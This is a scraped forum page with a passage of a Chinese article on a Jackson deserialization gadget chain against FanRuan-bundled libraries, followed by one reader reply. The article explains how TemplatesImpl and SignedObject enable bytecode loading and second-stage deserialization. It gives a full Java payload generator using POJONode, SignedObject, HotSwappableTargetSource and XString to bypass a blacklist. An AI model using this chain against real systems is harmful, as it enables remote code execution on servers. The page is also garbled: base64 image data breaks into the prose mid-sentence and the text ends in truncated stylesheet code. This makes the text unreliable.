Co8Lhx7F8e2uHG3E+g+P8GADyUawdA1fIEQiUQC0wXXsahVa5i2g2oEiIT8UF3mxPtLmI0aH43wFFXH7/dh6BpCCDzHoVGv0bBsXM8DPKxGHcu08NfNO7yHKPDOD7/X3DZfiL3Pfp2tkTyv/uzIRypgm+0O+AxUVQHPw7ZM6vU61rUDpRrEQj4a9QZoOj7DQODSqFWpm9b1des+P36fD+2WcNWlXqlQM20QAk33EfD7UFVlff/WMS0LD4VAMIw/4CcaDqLrBqFIlESi2Qa7UaVcazSvY9chs7zA6MQiuwZG6FteYWwmfe+q5dvOCwXNMFA8h1q9gSu7wEuSJEmSJEmS9AXxiIagCi3JvfzajhdZXT6GP76d7lAMRfGYW36X18feZblm0t35LL8xsoO3zv17Tq6uIRSDvq6neHl4BxfG/pz3FxYAEGqQjT1P8XR8J62h
用到TemplatesImpl是因为TemplatesImpl对象的getOutputProperties方法能够加载任意类字节码，从而造成代码执行，因为jackson反序列化能够调用类的无参getter方法，我们需要找到一个不在黑名单中的类，并且其无参getter方法存在漏洞<br>
SignedObject刚好是一个满足的类，其getObject方法中实现了反序列化，我们就可以利用二次反序列化来进行攻击<br>
<a id=img9 href=https://xzfile.aliyuncs.com/media/upload/picture/20240124192238-e18f7bc2-baaa-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABnwAAAH5CAYAAACroZAiAADo3klEQVR4nOzde3RU5b038O/Tt4tkgiSZkMllJkPCpAWTAEGFcA8gKsdLhSACxdoFxdbqEbUqvlbPUuk62h5zarXitccjq1oKigitrUcrAuEmoJVbkqJNCLlMLjMkkygkYa33PO8fe66ZPfeZzAx8P2t1dZLsZ+9nXwef3/49PzF5+rUSMTRSOxIAcK7nXCw3k9RGjv7a4+dzZ0fFqSdERERERKTGOHslKozC59+l7IW5bi8+Pd47jL0iIiIiIiJy+Xa8O0BERERERJToWvZtQrPMQMYYLQoKxyDd8Ye+ZrQ196DFxkAPERERERHFFwM+REREREREQRCiF30tvahraYp3V4iIiIiIiLx8K94dICIiIiIiIiIiIiIiosgw4ENERERERERERERERJTkGPAhIiIiIiIiIiIiIiJKcgz4EBERERERERERERERJTkGfIiIiIiIiIiIiIiIiJIcAz5ERERERERERERERERJjgEfIiIiIiIiIiIiIiKiJMeADxERERERERERERERUZJjwIeIiIiIiIiIiIiIiCjJMeBDRERERERERERERESU5BjwISIiIiIiIiIiIiIiSnIM+BARERERERERERERESW5b8e7AwScOzsq3l0gIiIiIiIiIiIiIqIkxgwfIiIiIiIiIiIiIiKiJMeADxERERERERERERERUZJjwIeIiIiIiIiIiIiIiCjJMeBDRERERERERERERESU5BjwISIiIiIiIiIiIiIiSnIM+BARERERERERERERESU5BnyIiIiIiIiIiIiIiIiSHAM+RERERERERERERERESY4BHyIiIiIiIiIiIiIioiTHgA8REREREREREREREVGSY8CHiIiIiIiIiIiIiIgoyTHgQ0RERERERERERERElOQY8CEiIiIiIiIiIiIiIkpyDPgQERERERERERERERElOQZ8iIiIiIiIiIiIiIiIkhwDPkREREREREREREREREmOAR8iIiIiIiIiIiIiIqIkx4APJQQpC1Expxovr/wDXrpxGQqkjHeXkkLRglK8s34K3r6nGJU8ZhQlKde9hit/+QGueOBxZF4i15XMmYc1P5kHnZ/9lTIHlbfcicWll8YxISIiIiIiIiKi5PLteHeA4kvKQlTd9BQWZgh0nHwU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
利用XString、HotSwappableTargetSource、SignedObject进行绕过</p>
<pre><code>import com.fr.third.fasterxml.jackson.databind.node.POJONode;
import com.fr.third.springframework.aop.target.HotSwappableTargetSource;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.security.SignedObject;
import java.util.HashMap;
public class JacksonSignedObject {
public static byte[] getPayload(byte[] bytes) throws Exception {
TemplatesImpl t = utils.getTeml(bytes);
try {
CtClass ctClass = ClassPool.getDefault().get("com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
}
catch (Exception e){
}
POJONode node = new POJONode(utils.makeTemplatesImplAopProxy(t));
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
utils.setFieldValue(val,"val",node);
SignedObject s = utils.makeSignedObject(val);
POJONode node2 = new POJONode(s);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(node2);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap&lt;Object, Object&gt; hashmap = new HashMap&lt;&gt;();
utils.setFieldValue(hashmap, "size", 2);
Class&lt;?&gt; nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor&lt;?&gt; nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, h1, h1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, h2, h2, null));
utils.setFieldValue(hashmap, "table", tbl);
byte[] ser = utils.serialize(hashmap);
byte[] payload = utils.GzipCompress(ser);
return payload;
}
}</code></pre>
<p>当然，之后这些类也无法使用了</p>
<h2 id=toc-3>参考链接</h2>
<p><a href=https://xz.aliyun.com/t/12509 target=_blank>https://xz.aliyun.com/t/12509</a><br>
<a href=https://xz.aliyun.com/t/12846#toc-1 target=_blank>https://xz.aliyun.com/t/12846#toc-1</a><br>
<a href=https://github.com/yecp181/Frchannel target=_blank>https://github.com/yecp181/Frchannel</a></p>
</div>
<div class=post-user-action style=margin-top:34px>
<span class="btn btn-default pull-right" id=mark data-action=topic data-pk=13389>
<span id=mark-text>点击收藏 </span><span class=i-seprator> | </span><span id=mark-count>1</span>
</span>
<span class="btn btn-default pull-right" id=follow_topic data-pk=13389>
<span>关注</span><span class=i-seprator> | </span><span id=follow-count>1</span>
</span>
<span class="btn btn-default pull-right">
<span>
<span id=ready_reward data-toggle=modal data-target=#myModal>打赏</span>
</span>
</span>
<div class=clearfix></div>
</div>
<div class=related-section>
<div class=related-box>
<span><a class=pull-left href=https://xz.aliyun.com/t/13388 title="AVEvasionCraftOnline 一个基于 Spring boot 的在线免杀生成平台 开源"><span class=related-label style="padding:3px 4px;margin-right:3px">上一篇：</span>AVEvasionCraftOnl...</a></span>
<span><a class=pull-left href=https://xz.aliyun.com/t/13392 title="Adobe ColdFusion未授权RCE漏洞分析CVE-2023-26360"><span class=related-label>下一篇：</span>Adobe ColdFusion未...</a></span>
</div>
</div>
</div>
</div>
</div>
<div class="modal fade" id=myModal role=dialog aria-labelledby=myModalLabel aria-hidden=true>
<div class=modal-dialog>
<div class=modal-content>
<div class=modal-header>
<h4 class=modal-title id=myModalLabel style=text-align:center>
积分打赏
</h4>
</div>
<div class=modal-body id=button-value>
<div style=text-align:center>
<div role=group>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type1>
1分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type2>
2分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type3>
5分
</button>
</div>
<br>
<div style=margin-top:20px>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type4>
8分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type5>
10分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type6>
20分
</button>
</div>
</div>
</div>
<div class=modal-footer id=confirm>
<button type=button class="btn btn-default" data-dismiss=modal>关闭</button>
<button type=button class="btn btn-primary" id=reward_topic data-pk=13389>确定</button>
</div>
</div>
</div>
</div>
<div class="row box">
<ol class=breadcrumb>
<li class=active>1 条回复</li>
</ol>
<div class="box-container post-container">
<ul class=post-info id=reply-19644>
<li>
<div class="row1 user-info clearfix">
<img class="avatar pull-left tiny-avatar" src="data:image/png;base64,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
<span class=post-info>
<a class="label label-default" href=https://xz.aliyun.com/u/71940>1815098357643864</a>
<span class=bbs-time>2024-03-05 15:26:37</span>
<span>来自孟加拉 </span>
</span>
<div class="post-content markdown-body">
<p>师傅 你好 问下 你在利用jackson来构造反序列化链 执行writeObject序列化的时候 会不会自动触发</p>
</div>
<div class=manual-box>
<span class=thumbs data-action=post data-pk=19644 data-topic=13389><i class="fa fa-thumbs-o-up"></i><span>0</span></span>
<span class="reply-jump reply reply-count" data-nickname=1815098357643864>回复Ta</span>
</div>
</div>
<hr>
</li>
</ul>
</div>
</div>
<div class="row box" id=reply-box>
<div class="box-container clearfix">
<div class=reminder>
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F13389&amp;from_type=xianzhi"><strong>登录</strong></a> 后跟帖
</div>
</div>
</div>
</div>
</div>
</div>
<footer class=bs-docs-footer>
<div class="container text-center">
<div class=links>
<a href=https://xz.aliyun.com/feed target=_blank>RSS</a>
<a href=https://xz.aliyun.com/about target=_blank><span>关于社区</span></a>
<a href=https://xz.aliyun.com/partner target=_blank><span>友情链接</span></a>
<a href=https://xz.aliyun.com/notice>社区小黑板</a>
<a href=https://xz.aliyun.com/connection>联系我们</a>
<a href=https://report.aliyun.com/ target=_blank>举报中心</a>
<a href=https://www.aliyun.com/complaint target=_blank>我要投诉</a>
</div>
</div>
</footer>
<div id=waf_nc_block style=display:none></div><div id=immersive-translate-popup style=all:initial><template shadowrootmode=open><style class=sf-hidden>/*!
* Pico.css v1.5.6 (https://picocss.com)
* Copyright 2019-2022 - Licensed under MIT
*/#mount{--font-family:system-ui,-apple-system,"Segoe UI","Roboto","Ubuntu","Cantarell","Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--line-height:1.5;--font-weight:400;--font-size:16px;--border-radius:.25rem;--border-width:1px;--outline-width:3px;--spacing:1rem;--typography-spacing-vertical:1.5rem;--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing);--grid-spacing-vertical:0;--grid-spacing-horizontal:var(--spacing);--form-element-spacing-vertical:.75rem;--form-element-spacing-horizontal:1rem;--nav-element-spacing-vertical:1rem;--nav-element-spacing-horizontal:.5rem;--nav-link-spacing-vertical:.5rem;--nav-link-spacing-horizontal:.5rem;--form-label-font-weight:var(--font-weight);--transition:.2s ease-in-out;--modal-overlay-backdrop-filter:blur(0.25rem)}@media(min-width:576px){#mount{--font-size:17px}}@media(min-width:768px){#mount{--font-size:18px}}@media(min-width:992px){#mount{--font-size:19px}}@media(min-width:1200px){#mount{--font-size:20px}}@media(min-width:576px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*2.5)}}@media(min-width:768px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3)}}@media(min-width:992px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3.5)}}@media(min-width:1200px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*4)}}@media(min-width:576px){article{--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media(min-width:768px){article{--block-spacing-horizontal:calc(var(--spacing)*1.5)}}@media(min-width:992px){article{--block-spacing-horizontal:calc(var(--spacing)*1.75)}}@media(min-width:1200px){article{--block-spacing-horizontal:calc(var(--spacing)*2)}}dialog>article{--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing)}@media(min-width:576px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*2.5);--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media(min-width:768px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*3);--block-spacing-horizontal:calc(var(--spacing)*1.5)}}a{--text-decoration:none}a.secondary,a.contrast{--text-decoration:underline}small{--font-size:.875em}h1,h2,h3,h4,h5,h6{--font-weight:700}h1{--font-size:2rem;--typography-spacing-vertical:3rem}h2{--font-size:1.75rem;--typography-spacing-vertical:2.625rem}h3{--font-size:1.5rem;--typography-spacing-vertical:2.25rem}h4{--font-size:1.25rem;--typography-spacing-vertical:1.874rem}h5{--font-size:1.125rem;--typography-spacing-vertical:1.6875rem}[type="checkbox"],[type="radio"]{--border-width:2px}[type="checkbox"][role="switch"]{--border-width:3px}thead th,thead td,tfoot th,tfoot td{--border-width:3px}:not(thead,tfoot)>*>td{--font-size:.875em}pre,code,kbd,samp{--font-family:"Menlo","Consolas","Roboto Mono","Ubuntu Monospace","Noto Mono","Oxygen Mono","Liberation Mono",monospace,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"}kbd{--font-weight:bolder}[data-theme="light"],#mount:not([data-theme="dark"]){--background-color:#fff;--background-light-green:#f5f7f9;--color:hsl(205deg,20%,32%);--h1-color:hsl(205deg,30%,15%);--h2-color:#24333e;--h3-color:hsl(205deg,25%,23%);--h4-color:#374956;--h5-color:hsl(205deg,20%,32%);--h6-color:#4d606d;--muted-color:hsl(205deg,10%,50%);--muted-border-color:hsl(205deg,20%,94%);--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,90%,32%);--primary-focus:rgba(16,149,193,0.125);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,20%,32%);--secondary-focus:rgba(89,107,120,0.125);--secondary-inverse:#fff;--contrast:hsl(205deg,30%,15%);--contrast-hover:#000;--contrast-focus:rgba(89,107,120,0.125);--contrast-inverse:#fff;--mark-background-color:#fff2ca;--mark-color:#543a26;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-color);--button-box-sha
Reference in New Issue Copy Permalink